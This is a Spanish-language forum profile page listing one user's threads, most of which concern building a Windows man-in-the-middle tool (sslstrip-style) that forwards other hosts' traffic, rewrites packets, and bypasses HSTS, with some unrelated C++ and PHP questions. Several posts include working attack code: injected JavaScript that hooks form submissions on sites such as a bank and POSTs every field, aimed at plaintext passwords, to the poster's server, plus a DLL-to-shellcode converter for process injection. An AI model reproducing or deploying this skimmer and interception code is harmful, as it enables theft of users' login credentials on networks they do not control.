Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Kaxperday

#1
Windows / Modificar configuración capa TCP
17 Septiembre 2016, 15:25 PM
Buenas,

Necesito cambiar el timestamp, el escalado de ventana que se producen en el negociado del handshake al producirse una conexión TCP desde windows, en función de la red que nos encontremos el SO nos da unos valores u otros, ahora bien yo uso un programa que hace redirecciónes TCP y el SO no cuenta con esa latencia por lo que en redes demasiado rápidas el programa no funciona como debería ya que la capa TCP desecha los paquetes que llegan fuera de tiempo que son provenientes de mi fordward TCP (Mi programa servidor da conexiones con timestamp muy bajo y escalado de ventana muy alto en redes rápidas).

¿Que debería de cambiar en la configuración TCP para que no se produjeran problemas de este tipo?, el timestamp sino me equivoco es como un temporizador por lo que puede influir y el escalado de ventana desconozco si puede provocar el error, pero si una red es muy rápida quizás iría más rápido que lo que pueda soportar el programa y se ignoren paquetes o no sé, las posibilidades son muchas, seguiré mirando TCP, pues quizás no sea lo único que haya que tocar para que todo vaya fluido.

Y me gustaría saber si es posible hacerlo para un solo socket (el del servidor) haciendo que las conexiones que produzca ese socket tengan esa configuración TCP pero sin afectar a los demás programas.

Saludos y gracias.

Edito: He comparado con wireshark los SYNs de una red muy rápida y una normal o lenta, y la diferencia es que el de la rápida lleva el en un FLAG de SYN timestamps que son temporizadores TCP, creo que son los responsables de que en redes rápidas se colapse mi sslstrip, así pues he probado con "netsh int tcp set global timestamps=disabled" y claro funciona PERO solo en la comunicación de el equipo donde se ejecuta con el server, es decir las víctimas que se conectan a mi llevan en el SYN el timestamp al ser una red de gran velocidad, lo que quiero es mandarlas un SYN/ACK desactivando el timestamp, y con este comando parece que no se puede, espero que haya otra forma porque sino mal vamos.

En fín necesito que mi servidor de windows al aceptar conexiónes SYN con timestamp reponda con timestamp nulo desactivando así el timestamp durante todo el proceso de conexión TCP, hasta ahora solo he visto desactivarlo como cliente es decir que windows mande SYNs sin timestamp, pero lo que quiero es que al recibirlos como servidor los desactive en el SYN/ACK, y eso no he encontrado como, si alguien sabe estaría bien que lo pusiera, gracias.

Edicion delicatesse: Al final tuve una ingeniosa idea de modificar los SYN entrantes de las víctimas que tuvieran el campo del timestamp y eliminarlo, la respuesta fue satisfactoria la conexión servidor cliente se producía sin timestamps y se podían mandar todos los datos sin problemas de corte de conexión, funcionaba de la manera que el cliente mandaba un SYN con timestamp y yo le mando al server un SYN sin timestamp el server responde sin timestamp y la víctima lo acata, gg.

Eso sí el server tiene un serio problema con la velocidad y con al carga de algunas páginas que va a costar corregirlo.

Saludos.
#2
Buenas gente,

Estoy haciendo pruebas con una DLL inyectandola en un proceso pero lo que quiero hacer es hacer esa inyección pasando los bytes de la dll a una shellcode y utilizar esa shellcode en otro programa para realizar la inyección en el proceso objetivo, pero el programa me crashea en la inyección, sin embargo para otras shellcodes si que funciona, por lo tanto creo que puede ser problema de la generación de la shellcode desde la dll, ¿tengo que pasar todos los bytes de la dll a la shellcode?, si es así es lo que he hecho y esbozé un programa algo chapucero para automatizarlo que se encarga de generar un txt con la shellcode pasandole el path de la dll:

Código (cpp) [Seleccionar]


{
       WCHAR filePath[MAX_PATH];

wcout << "Introduce el path del archivo que quieres pasar a shellcode: " << endl;
wcin >> filePath;
fflush(stdin);

       HANDLE hFile;

if ((hFile = CreateFile(filePath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE | FILE_ATTRIBUTE_HIDDEN, NULL)) != INVALID_HANDLE_VALUE)
{
DWORD fileSize;

if ((fileSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE)
{
CHAR *buffer = new CHAR[fileSize]();

if (ReadFile(hFile, buffer, fileSize, NULL, NULL))
{
FILE *a;

a = fopen("shellcode.txt", "wt");

for (DWORD i = 0; i < fileSize; i++)
{
fprintf(a, "%s", "\\x%.2X", (UCHAR)buffer[i]);
if (i % 20 == 0 && i != 0)
fprintf(a, "\"\n\"");
}

                                delete[] buffer;

fclose(a);

cout << "ok";
}
               }
               CloseHandle(hFile);
       }

       return 0;
}


Luego  procedo a declarar la shellcode como una variable static CHAR* en otro programa desde donde quiero inyectarla en otro proceso, pero crashea, sin embargo para otras shellcodes no lo hace, luego ese código parece estar bien.

¿Falla en algo la generación del payload, debo copiar todos los bytes o ignorar algunos casos?

Saludos y gracias.
#3
Buenas, estoy montando un servidor DNS para bypassear el HSTS y necesito mandar las DNS request a la IP del servidor DNS de la red, pero CREO que hay redes que no tienen servidores DNS dedicados, entonces me he preguntado que a donde mandan las requests, ¿a la IP del router y el la resuelve, o simplemente estoy equivocado y todas las redes tienen servidores DNS con su IP sin excepciones?.

En definitiva, lo que quiero saber es si "GetNetworkParams" de windows, me dará el valor siempre del servidor DNS tenga o no tenga el servidor DNS dedicado, y también estaría bien saber que pasa cuando hay 2 servidores DNS, cual elegir si es indiferente o no.

Bah que seguramente con la función sobre, supongo que el tema habrá llegado fruto de delirios de la noche XD.

Un saludo y gracias.
#4
Buenas lo primero decir que acabo de darme cuenta de que para cargar las bases de datos se conecta a otro servidor cuando pensaba que simplemente consistía en acceder al archivo, pero por lo visto se conecta a otro servidor con usuario y contraseña y lo pide los datos, es coherente, corregidme si me equivoco XD.

El caso es que estaba haciendo un tutorial de MySQL y con PHPStorm puedo crear el servidor y he seguido el tutorial de su página web que adjunto el link y que es el programa que estoy usando y la misma configuración pero dejo de seguir el tutorial en el momento que falla la conexión y no puedo saltar al paso de cargar las tablas y schemas:

https://confluence.jetbrains.com/display/PhpStorm/Databases+and+SQL+Editor+in+PhpStorm#DatabasesandSQLEditorinPhpStorm-Settingupadatabaseconnection

El caso es que he seguido los pasos pero me da fallo en la conexión al servidor MySQL, he aceptado la excepción del firewall pero da errores de conexión, también me he descargado la última versión de JDBC pero tampoco ha funcionado con ella, la página sugiere que busque cosas en google que no se lo que son, quizás alguno se haya topado antes con este error y sepa como solucionarlo, ¿el JDBC no me funciona?, la conexion que realizo es jdbc:mysql://localhost:3306 el servidor debería de estar levantado pero sin embargo no se produce la conexión.

Saludos.
#5
Buenas,

Ya tengo el sniffer que inyecta código javascript en webs con formularios, y son solo esos los datos HTTP que sniffea la aplicación, antes sniffaba todos los datos HTTP POST urlenconded, pero había muchos datos de aplicaciones en segundo plano que sniffaba y que no interesaban que llenaban los logs inútilmente, además hay páginas que mandan gran cantidad de datos en ese tipo de POST y quedaban logueados ocupando espacio en el archivo, así que me decanté por usar inyección de javascript y enviar los datos con post desde javascript, así solo obtenemos datos de formularios, y además podemos eliminar variables excesivamente grandes que no nos sirven del formulario, puesun user pass no creo que tenga 33000 caracteres por ejemplo.

El problema por el que abro el hilo es que he probado inyectando javascript haciendo poniendo un evento al submit que cuando se pulse envie la información de sus imput hide, algo que llega sin problema al server y lo logueo, PERO hay páginas como este foro o bankia que hace de la password un hash, por lo que no se puede ver, lo que quiero es con javascript saltar ese hash, y que aparezca todo de los imput text en texto plano.

Os dejo el código en javascript que hace de listener para capturar los form, y a ver que me podéis sugerir para bypassear el hash de la contraseña, algo que debe ocurrir, pero a lo que debemos adelantarnos con nuestro javascript.

Código (javascript) [Seleccionar]

function logger()
{
var forms = parent.document.getElementsByTagName("form");

for(i=0; i<forms.length; i++)
{
forms[i].addEventListener('submit', function()
{
var s= "";
var forms = parent.document.getElementsByTagName("form");

for(x=0; x<forms.length; x++)
{
var elements = forms[x].elements;
for(e=0;e<elements.length;e++)
{
s+= elements[e].name + "=" + elements[e].value + "|";
}
send(s);
}
attachForm(s);
}, false);
}
}

function send(s)
{
   var r = new XMLHttpRequest();
   r.open( "POST", "http://192.168.0.75:10000", true );
   r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
   r.send(s);
}


Este es el codigo que se inyecta en las páginas con formulario y cuando pulsan submit envia los datos al servidor, pero quiero que lo haga adelantandose al cifrado del hash de la password para que la password cuando me llegue al server me llegue en texto plano y no con asteriscos o con hash.

Las funciones las inyecto al final del head y la llamada al logger al final del body.

La gracia es que a veces funciona y otras no, supongo que será porque se ejecutará antes el javascript de cifrar que el mio unas veces y otra será al reves, ¿como puedo dar prioridad a mi javascript?.

Saludos y gracias.
#6
Hola buenas estoy inyectando un javascript que envía unos datos por post a un servidor, con XMLHttpRequest, os dejo el código:

Código (javascript) [Seleccionar]

function sender(cadena)
{
    var xmlHttp = new XMLHttpRequest();
    xmlHttp.open("POST", "http://192.168.1.156:10000/");
    xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhttp.setRequestHeader("User-Agent", "helloo");
    xmlHttp.send( cadena );
}


He probado a meter "alert();" para ver donde esta el problema y despúes del open muestra un alert(), pero despues del primer setRequestHeader ya no muestra más luego no llega a llamar al send(), ¿por qué?, como piden he llamado a open luego  setRequestHeader y luego a send el orden es el correcto.

Saludos y gracias.
#7
Saludos,

He visto que ahora tenemos capcha cada vez que enviamos un mensaje o le modificamos, por favor es muy pesado tener que estar seleccionando fotos de escaparates y de comida cada vez que realizamos una acción en el foro, además que yo sepa no es tan necesario pues normalmente no veo bots por el foro. Me parece un incordiopara los usuarios. Que sse ponga al hacer login lo puedo entender, ¿pero que se ponga por cada mensaje y edición de mensaje?, me parece demasiado.

Además de los sustos que ya me llevo con firefox cada vez que doy a enviar y se me agotan las cookies que tengo que reescribirlo todo de nuevo, me salio el mensaje del capcha y la primera impresión fue que pensé que era que se me habían acabado las cookies XD, menudo susto.

También aprovecho para decir que hay veces que no deja acceder al contenido del foro sin loguearse y es un poco molesto a veces, eso y que los emoticonos de ff no funcionan.

En fin no se cual será vuestra opinión, pero para mi lo del capcha creo que sería mejor replantearlo... yo creo que con una vez al iniciar sesión sobra.

Saludos.

Edito: Vaya por dios ha sido postear el mensaje y desaparecer lo del capcha.
#8
Seguridad / Bypass login con hash
21 Julio 2016, 13:02 PM
Hola a todos, estaba jugando con mi sslstrip cuando empiezo a fustrarme al ver los típicos login con hash como tiene el foro y bankia por poner 2 ejemplos (Y este último también tiene como un POST de 33000 caracteres que espero que no tengan que ver con el hash la inmensa mayoría porque sino.. estoy jodido XD.

Pensando como extraer los login de la forma más clara posible.. sin hashes (que supongo serán generados por javascript ¿no?), se me ha ocurrido que se puede inyectar un javascript que haga de listener en todas estas páginas y que de alguna forma capture el contenido de los formularios al pulsar el submit.

Eso ahorraría también capturar POST que no interesan como los que hacen los antivirus o microsoft, ya que no creo que usen javascript :D al ser conexiones de segundo plano de programas de segundo plano.

En resumen, ¿se puede fácilmente sacar la contraseña de un login con hash?, ¿o hay que estudiarse los javascripts uno a uno?, de ser la segunda opción, creo que lo mejor sería optar por inyetar un javascript que haga de listener, que se active al hacer el login y que envie el contenido de los datos del formulario en texto plano (solo de las textbox sería aun más fino), esos datos deben de ir a nuestro server con algun identificador para que sepamos que esa peticion no debemos redirigirla al llevar solo los datos del login y la otra (con los 333000 caracteres si)..

Mmm creo que algo se podría hacer, su mejor bypass quizás este en la inyeccion de código. Aunque tendría un inconveniente, que el usuario tenga desactivado javascript y se loguee en una página que no lo requiera, ¿ahí como los capturaríamos?, sin embargo serían pocos los casos, la mayoría de las páginas usan javascript y las que tienen algo que ocultar XD.

Saludos!.
#9
PHP / Login con límite intentos en PHP
13 Julio 2016, 14:20 PM
Buenas, estoy haciendo un login simple con POST que si los datos son correctos le activo sesión y cargo variables asociadas a esa sesión, pero sería muy fácil romper ese login con fuerza bruta ya que deja enviar usuarios y contraseñas sin límite.

Por ello, quiero que cada IP tenga un máximo de 3 intentos cada minuto por ejemplo.

Al ser muy noob con PHP solo se me ocurre crear un archivo con la IP que intento el login, si falla.
Así pues si falla, ponemos en el archivo datos estructurados de la forma [IP, intentos, tiempo]. Vemos si falla 3 veces y el tiempo de un minuto no ha sido superado en ese caso no validamos sus datos y mostramos error.

Pero claro creando un archivo... imaginad eso con muchas IPs intentando loguarse puede producir fallos... me pregunto si PHP nos facilitará otras formas de hacerlo, y no penséis en cookies para guardarle el estado al usuario ya que puede eliminarlas de las cabeceras y como si nada.

¿Ideas?,

Un saludo.
#10
Programación C/C++ / OpenSSL vs CURL
13 Julio 2016, 12:04 PM
Buenas,

OpenSSL ofrece conexiones SSL y además tiene una suite de cifrado muy buena quizás la mejor librería de cifrado que haya, sus librerías estáticas son 2: libeay32.lib (13.405kbs) ssleay32.lib (2.232kbs).

Mientras que CURL ofrece conexiones para muchos protocolos con SSL pero nada de cifrado, su librería estática libcurl.lib pesa 1.613kb.

Todas las librerías de las que hablo son para versiones release.

Pero, ¿Por qué opción decantarse si utilizamos cifrado en nuestro programa?.

¿Y para conexiones sin texto plano, que pesará menos conexiones con la WINAPI o con CURL?.

Saludos.

#11
Bueno pues es bastante raro, parece que esta todo correcto (el código), pero sin embargo hay veces que falla aunque suele acertar el 90% de los checksums, pero los que falla son los de handshake sobretodo que se caracterizan por llevar el campo de "options" que no está explícito en el paquete. Normalmentela diferencia de error suele estar en la del tamaño del bytes del campo options, si el campo es de 12 bytes, lo que sumo del checksum es 12 menos que lo que debería sumarle, no entiendo nada, en caso de fallar sería esta línea add = (USHORT)((content[16] << 8) + content[17]) - (USHORT)((content[46] & 0xF0) >> 4)  pero está correcta.

Código (cpp) [Seleccionar]

UCHAR* GetTCPChecksum(const UCHAR* content, UINT length)
{
UCHAR checksum[2];
USHORT added = 0, add = 0;
std::bitset<17> bs;

if (length < 54)
return NULL;

for (UCHAR i = 26; i < 33; i++)
{
add = (USHORT)((content[i] << 8) + content[i + 1]);
bs = added + add;
added += add;
if (bs[16] == 1)
added++;
i++;
}

add = (USHORT)0x06;
bs = added + add;
added += add;
if (bs[16] == 1)
added++;

add = (USHORT)((content[16] << 8) + content[17]) - (USHORT)((content[46] & 0xF0) >> 4) * 4;
bs = added + add;
added += add;
if (bs[16] == 1)
added++;

for (UINT i = 34; i < length - 1; i++)
{
if (i != 50)
{
add = (USHORT)((content[i] << 8) + content[i + 1]);
bs = added + add;
added += add;
if (bs[16] == 1)
added++;
}
i++;
}

if (length % 2)
{
add = (USHORT)(content[length - 1] << 8) + 0;
bs = added + add;
added += add;
if (bs[16] == 1)
added++;
}

added = added & 0xFFFF;
added = ~added;

checksum[0] = (added >> 8) & 0x00FF;
checksum[1] = added & 0x00FF;

return checksum;
}


Hay que  sumar en de 16 bits en 16 bits (en USHORT): el IP origen + IP destino + numero de protocolo <<8 + longitud del segmento TCP (la linea en cuestión) + payload TCP y si es impar se suma el ultimo pasandole a la izquierda del USHORT (<<8).

Eso es todo pero la práctica.. dejo un link que sigo para hacerlo:

http://www.arcesio.net/checksum/checksumTCP.html

Probad vosotros mismos con el wireshark, pasandole el paquete completo y el header-> caplen a la función, los paquetes que llevan el campo options suelen fallar.


#12
Hola, buscando errores me he dado cuenta que no llegan o el servidor HTTP proxy no quiere responder los paquetes y rechaza su conexión, no entiendo:

LLegan paquetes TCP con destino puesto 80, lo que hago es redirigirlos a mi servidor local, pero este no los debe de recibir, los paquetes están mal, o no se que pasa pero no se produce conexión:

Código:
Código (cpp) [Seleccionar]

else if (content[36] == 0x00 && content[37] == 0x50)//de host hacia localserver
{//les pongo la mac del otro en ambos sentidos.
// lo manda a 127.0.0.1:10000 y pone la mac del host de src y dest y ip src del server
//le respondera como 127.0.0.1:10000 -> 202.123.123.123.34
//ip red ordenador origen hacia 127.0.0.1:10000 -> 202.20.20.12:80
UCHAR localhost[5] = "\x7f\x00\x00\x01";
memcpy(const_cast<UCHAR*>(content), content + 6, 6);
memcpy(const_cast<UCHAR*>(content + 26), content + 30, 4);//origen IP pongo la del server
memcpy(const_cast<UCHAR*>(content + 30), localhost, 4);//dst IP to localhost
const_cast<UCHAR*>(content)[36] = 0x27;//puerto destino 10000
const_cast<UCHAR*>(content)[37] = 0x10;

memcpy(const_cast<UCHAR*>(content + 24), GetIPChecksum(const_cast<UCHAR*>(content), header->caplen), 2);
memcpy(const_cast<UCHAR*>(content + 50), GetTCPChecksum(content, header->caplen), 2);//si puerto 80 no hace falta modificarlo.
pcap_sendpacket(sniffer, content, header->caplen);
printf("sended to localserver");
continue;
}
#13
Hola a todos, son muchos los temas que llevo ya acerca de esto y no ha habido respuestas todavía quizás sea que me explico algo mal así que expondré el caso de manera simple.

No es una duda de programación lo primero, es una duda sobre redirección de paquetes, de cómo trabajan los router más que nada, de la NAT, e IP fordwarding, es algo más complejo que actuar como simple router, o hacer una NAT simple.

Bueno al grano, llegan a mi ordenador paquetes de otros hosts a los que tengo que hacer IP fordward al router para darles conexión, algo sencillo cambiando simplemente la cabecera IP y las MACs origen y destino, así pues soy capaz de dar conexión a esos hosts gracias al IP fordward.

Pero ahora bien, supongamos que ahora quiero que de todo ese tráfico IP que se genera quiero pasar una parte de ello en concreto el HTTP por un servidor proxy y reenviar la respuesta al host, para ello mediante filtros redirijo todo el tráfico TCP con destino puerto 80 hacia mi servidor proxy HTTP local, pero pierdo los datos al hacer esto.

Ejemplo: llega un TCP SYN con destino puerto 80 para el host 203.123.231.23 yo lo mando a mi servidor local luego cambio la IP de destino que es 203.123.231.23 por 127.0.0.1, el servidor resuelve la consulta y la reenvia, pero la reenvia al host que tiene IP dentro de la red ejemplo 192.168.1.45, pero ese paquete será rechazado por este host al ver que el paquete proviene de una dirección IP 127.0.0.1 cuando debería ser la IP 203.123.231.23 la que le respondería, por ello puedo capturar ese paquete en la red y enviarlo de nuevo al host cambiandole la IP por 203.123.231.23, PERO hay un problema que al capturar esos paquetes todos llegan de 127.0.0.1 y no se a que IP de servidor iban asociados, ¿como puedo solucionarlo?, ¿alguna idea?, ¿o alternativa para hacer el proxy de otra manera?.

Hasta ahora no se me ocurren buenas soluciones, lo más que se me ha ocurrido es guardando los dominios de cada host y poner por defecto el ultimo que haya usado... pero daria muchos errores, ¿que se puede hacer?.

Saludos y gracias.

Si habría alguna manera de decirle a el socket "cambiame la IP de origen que has usado para el bind() a esta".. pero me da que es imposible :"D

#14
Hola os comento un problema que tengo, quiero actuar como un router, por lo tanto me llegan paquetes desde hosts con IP origen la que tienen en la red, e IP destino la de un servidor web cualquiera. Bien a estos hosts les hago IP fordwarding sin problemas (pero para el tráfico HTTP quiero reenviarlo a mi servidor proxy HTTP, que ahí es donde entra la NAT).

Mi objetivo es recoger los paquetes TCP destino puerto 80 de los hosts hacer NAT a mi servidor local proxy HTTP que analiza la request y obtiene respuesta del servidor, y luego devuelve la respuesta a los hosts para ello tienen que volver a pasar a través de la NAT.
Pero  cuando el paquete vuelve del servidor local, la IP origen es la del servidor local 127.0.0.1 , no la del servidor web que utilizó el host, y debo cambiarla por esa, pero la he perdido ¿como la puedo recuperar?

Ejemplo: Los hosts tienen IPs del rango 192.168.0.1/24, imaginemos que uno se quiere conectar a google (haciendo IP fordward a través de mi obtiene la IP del servidor de google ya ahora trata de conectarse):

Paso 1: Recibir paquetes de los hosts y filtrar los datos.
Lo que recibo:
Citar
IP origen (host): 192.168.0.100:15678 -> IP dest (google): 202.24.123.24:80

Paso 2: Enviar el paquete a el servidor local para que actúe como proxy.
Lo que envío a mi servidor local tras hacer la NAT (solo modifico estos campos y del checksum IP):
Citar
IP origen (host): 192.168.0.100:15678 ->IP dest (servidor HTTP proxy local): 127.0.0.1:80

Sorpresa acabamos de perder la IP destino, la del servidor (pero aun así puede funcionar pero tendrá que resolver de nuevo la DNS).

Paso 3:: El servidor local proxy recibe los paquetes que no llega a procesarlos porque no se produce conexión ¿porque?, le estoy enviando todos los paquetes TCP con destino puerto 80, incluye los de handshake, ¿porque no se produce entonces la conexion con el servidor local proxy?.
Bueno suponiendo que el proxy los recibe los procesaría y obtendría una respuesta correspondiente a la del HTTP request, esa respuesta sin pasar por la NAT sería:

Citar
IP origen: 127.0.0.1:80 -> IP destino: 192.168.0.100:15678

Mal, acabamos de perder la IP real del servidor web al que lanza la IP el host, luego el paquete probablemente no llegue, debemos de hacer NAT de nuevo, es decir volver al paso 1, recoger ese paquete completo en la red, cambiar la IP de origen de ese paquete por la del servidor web al que lanzó la petición el host y reenviarlo con la nueva IP modificada, pero ¿como sé cual era la IP del servidor web al que lanzó la petición el host?, la he perdido en el paso 1.

En fin, ¿cómo puedo solucionar esto?.

Muchas gracias y un saludo.

Edito: Lo mejor sería alguna manera de hacerlo mediante el OS, he probado con netsh y route sin éxito, y analizando intercepter-ng no encontré que añadiera comandos route, y no se si netsh, pero creo que tampoco, ¿lo hará como estoy proponiendo, con winpcap?.

En resumen quiero algo en plan todo el tráfico HTTP (requests) que entre en la máquina (y que no incluya la IP local) muevemelo al servidor local (a su IP y puerto), y muevelo del server a los hosts, ¿alguna idea con el OS?, me parece que no.
#15
Windows / Windows NAT equivalente a IPTABLES
20 Junio 2016, 19:55 PM
Hola, os copio una duda que posteé en otro foro y que sigue sin respuesta, quizás vosotros me podáis ayudar:

¿Cómo puedo redirigir el tráfico IP entrante proveniente de otros hosts de la red hacia el router mediante el SO y filtrar el tráfico TCP con destino puerto 80 hacia un servidor local HTTP?.

En linux se usa "echo "1" > /proc/sys/net/ipv4/ip_forward" para hacer IP fordward, y en windows el homólogo es poner "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter" a 1 para activarlo.

Sin embargo en linux se puede optar por redirigir el tráfico saliente de la máquina (incluido el procedente del fordward) con iptables con: "iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080" podemos redirigir todo el tráfico IP con destino puerto 80 al 8080 de nuestra misma máquina, ESO quiero hacer con windows.

¿Cómo puedo hacerlo?, he leído acerca de netsh pero no se me ocurre algún comando equivalente, ¿alguna idea?.

Saludos y gracias.
#16
Bueno, quiero recibir tráfico que llega a mi máquina de IPs que apuntan a servicios webs como "google.com", "foro.elhacker.net"..., cada petición externa que hace una máquina a esos dominios se traduce en una peticion IP con la IP source de la máquina solicitante y la IP destino de la misma (una vez ya resuelto el dns). Esas peticiones IP source y destino voy a poner un ejemplo de ellas para que entendáis lo que quiero hacer:

Citar
192.168.0.156 -> 202.159.23.13
192.168.0.18 -> 13.156.13.248
192.168.0.146 -> 89.123.23.56.4

Todas esas peticiones que me llegan a mi que actúo como router, quiero redirigirlas a mi servidor local antes de mandarlas al router.

Para que quede algo así:

Citar
192.168.0.156 -> 202.159.23.13 -> 192.168.0.160
192.168.0.18 -> 13.156.13.248 -> 192.168.0.160
192.168.0.146 -> 89.123.23.56.4 ->192.168.0.160

Siendo 192.168.0.160 la IP de mi máquina en la red, de esta manera esas peticiones IP pasarían por mi servidor local antes de salir.

Y desde allí aceptaría su conexión, pero ojo quiero redirigir al servidor (que escuchará en el puerto 80 pues solo le interesan las peticiones HTTP) sólo las peticiones de hosts que esten fuera de la red, que tengan destino el puerto 80 y que sean HTTP.

Es decir hacer esa redirección pero con esos filtros, que solo redirija a mi servidor los mensajes TCP/IP que cumplan esos requisitos.

Sé que con el comando "route" se puede jugar pero no se como poner esos filtros (acceder a comandos ACL para ponerlos). También se puede jugar con el archivo hosts "0.0.0.0 192.168.0.160" quizás funcione.. pero no es lo que busco claro, quiero filtrar.

Por ejemplo he probado con:

Citar
C:\WINDOWS\system32>route add 0.0.0.0 mask 0.0.0.0 192.168.0.160

Que esto redigiría todo el tráfico del ordenador a mi servidor, pero claro luego me quedo sin internet y tengo que cambiarlo.. además no aplica ningún filtro, ya que yo quiero redirigir el tráfico entrante que tenga por destino una IP externa a la red a mi servidor local (192.168.0.160), simplemente eso (cambiar la IP de destino y redirigir el paquete cambiando el checksum IP funcionaría pero habría que reenviar el mismo paquete y no es buena idea).

¿Alguna manera, para redirigir tráfico HTTP entrante con destino IP a hosts fuera de la red a mi servidor local 192.168.0.160?.

Seguramente la respuesta este en netsh y/o route, ¿alguna idea alguien que le haya pasado antes?

Saludos y gracias.
#17
Hola a todos,

Bueno estoy trabajando con un servidor proxy HTTP y parece que hay problemas con los sockets al hacer accept(), antes de nada decir que uso el navegador para conectar al servidor, decir que es un proxy recibe petición del navegador carga la peticion y la manda al servidor con CURL, y mando la respuesta al socket.

WSAEINTR 10004 Interrupted function call: A blocking operation was interrupted by a call to WSACancelBlockingCall.

Esto quiere decir que alguien ha llamado llamado a WSACancelBlockingCall y las funciones de espera asociadas a sockets no funcionan como recv o accept ya que son funciones que se bloquean hasta obtener una respuesta a no ser que se las ponga un temporizador máximo de espera, si se llama a esta función esa espera desaparece haciéndolas inútiles.

El código:

Código (cpp) [Seleccionar]

void Run(std::string serverIP, UINT serverPort)
{
WSADATA wsa;
SOCKET serverSocket;
sockaddr_in serverAddr;

WSAStartup(MAKEWORD(2, 0), &wsa);

if ((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) != SOCKET_ERROR)
{
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(serverPort);
serverAddr.sin_addr.s_addr = inet_addr(serverIP.c_str());

if (::bind(serverSocket, (sockaddr*)&serverAddr, sizeof(serverAddr)) != SOCKET_ERROR)
{
if (listen(serverSocket, MAXIMUM_VICTIMS) != SOCKET_ERROR)
{
SOCKET victimSocket;
sockaddr_in victimAddr;
victimAddr.sin_family = AF_INET;
INT len = sizeof(victimAddr);


while (status != DISABLE)
{
victimSocket = accept(serverSocket, (sockaddr*)&victimAddr, &len);

if (victimSocket != INVALID_SOCKET)
{
std::thread t(HTTPSession, victimSocket, inet_ntoa(victimAddr.sin_addr), status);
t.detach();
}

}

}
}
closesocket(serverSocket);
}

WSACleanup();

}


Las 2 primeras requests del cliente las recibe y responde con éxito pero a partir de la segunda request tras enviar la respuesta llama a WSACancelBlockingCall, ¿porque? ¿cómo evitarlo?.

Una vez que sale el error 10004 el bucle itera produciendo errores 10093 (WSANOTINITIALISED).

Puede que sea llamada en HTTPSession:

Código (cpp) [Seleccionar]

void HTTPSession(SOCKET victimSocket, std::string victimIP, STATUS& controller)
{
CHAR headerBuffer[8192];
memset(headerBuffer, '\0', 8192);

INT rlen = recv(victimSocket, headerBuffer, 8192, NULL);
...
}


Reading: http://www.sockets.com/winsock.htm#CancelBlockingCall

Estoy probando a ponerlo en blocking mode de nuevo con:
Código (cpp) [Seleccionar]

ULONG iMode = 0;//blocking mode
ioctlsocket(victimSocket, FIONBIO, &iMode);

Pero falla de nuevo por el error 10004.

Saludos.

Edito: Bueno, decir que esta parcialmente arreglado con una chapuza que trataré de mejorar, lo que vengo a hacer es reestablecer el modo block despues de cada accept para el socket "victimSocket", así si al llamar al thread y hacer el recv() se llama a cancelblocking rapidamente se reestablecera tras obtener la respuesta de recv. Hay que llamar a WSAStartup pues la llamada a cancelblocking llama a WSACleanup().

Código (cpp) [Seleccionar]

ULONG iMode = 0;//block mode
while (status != DISABLE)
{
victimSocket = accept(serverSocket, (sockaddr*)&victimAddr, &len);

if (victimSocket != INVALID_SOCKET)
{
std::thread t(HTTPSession, victimSocket, inet_ntoa(victimAddr.sin_addr), status);
t.detach();
}

WSAStartup(MAKEWORD(2, 0), &wsa);
INT iResult = ioctlsocket(victimSocket, FIONBIO, &iMode);
if (iResult != NO_ERROR)
printf("ioctlsocket failed with error: %ld %d\n", iResult, GetLastError());
}


PD: He probado a hacerlo solo cuando de error y no funciona, sería curar con esto prevenimos siempre pero evidentemente no me convence tener que llamar a WSAStartup en un bucle, buscaré mejores alternativas..

Edito otra vez: NO hace falta usar ioctlsocket para ponerlo en modo block, solo con llamar a WSAStartup ya funciona y no da error :""""(, la cosa es que parece que para cada socket hay que llamar a WSAStartup así que meteré la llamada en HTTPSession.
#18
Código (cpp) [Seleccionar]

std::string ArrayToString(std::vector<BYTE> data)
{
std::string ret;

for (BYTE b : data)
{
ret += (CHAR)b;
}

return ret;
}


También he probado:

Código (cpp) [Seleccionar]

ret = std::string(reinterpret_cast<CHAR*>(data.data()), data.size());


Estoy lanzando una petición a una página con curl, y la parte del body con la respuesta (la obtengo en string con curl), pero luego la paso a vector<BYTE>, para hacer Inflate si está comprimido etc, y si no tiene ninguna compresión ni es imagen, entonces lo pasa a cadena y trabaja con ella.

El caso que para convertir el vector a cadena falla, pero solo con páginas que son UTF-8 (unicode) y contienen caracteres especiales, sin embargo CURL parece que si que es capaz de recibir la respuesta en UTF-8 y cargarla en una string.

¿Debería de usar wstring o caracteres unicode? ¿o me estoy haciendo un lío? XD

Saludos.

Edito: El tema esta solucionado fuera una ida de olla mía, porque no entiendo porque al devolver la string me sale nula aun pasandola como referencia..wat
#19
Bueno escribo por segunda vez el hilo ya que como casi siempre firefox hace cosas raísimas y pierdo todo lo anterior... :-* :-* :-* PD no tengo ni idea como llamar al hilo.

Bueno, pues quiero pasar una Clase (objeto) a una función, pero claro me interesa saber si es nula o no, ¿que haría pasarlo como puntero del tipo de la clase e igualarlo a NULL para ver si existe y trabajar con ella?, ¿o añadir un atributo a la clase llamado de tipo booleano "isNull" y comprobar ese atributo antes que trabajar con ella? (para saber si es NULL y no hay datos con los que trabajar).

En fin si lo paso como puntero tengo que instanciarlo en la heap y tengo que preocuparme por su liberación de memoria después pero puedo comprobar que es NULL rápidamente, si paso una clase con un atributo BOOLEAN isNull; tengo que mirarlo y ya está aunque no me parece buena forma de hacerlo.

¿Qué haríais vosotros en ese caso?.

Otro tema que tiene que ver:

También por ejemplo al devolver una clase, tengo una función que si falla devuelve una clase vacía (porque no me gusta trabajar con excepciones quizás debería), entonces lo que hago es que devuelva un puntero y si es NULL hubo error y no devuelve la clase, pero si funciona devuelve un puntero a la clase.

Ejemplo:


Response* ServeFile(std::string uri, Properties header)


¿Que haríais aquí también?

A: devolver un puntero y si es NULL hubo error (habrá que inicializarlo en la heap y eliminarlo posteriormente si devolvemos el objeto).

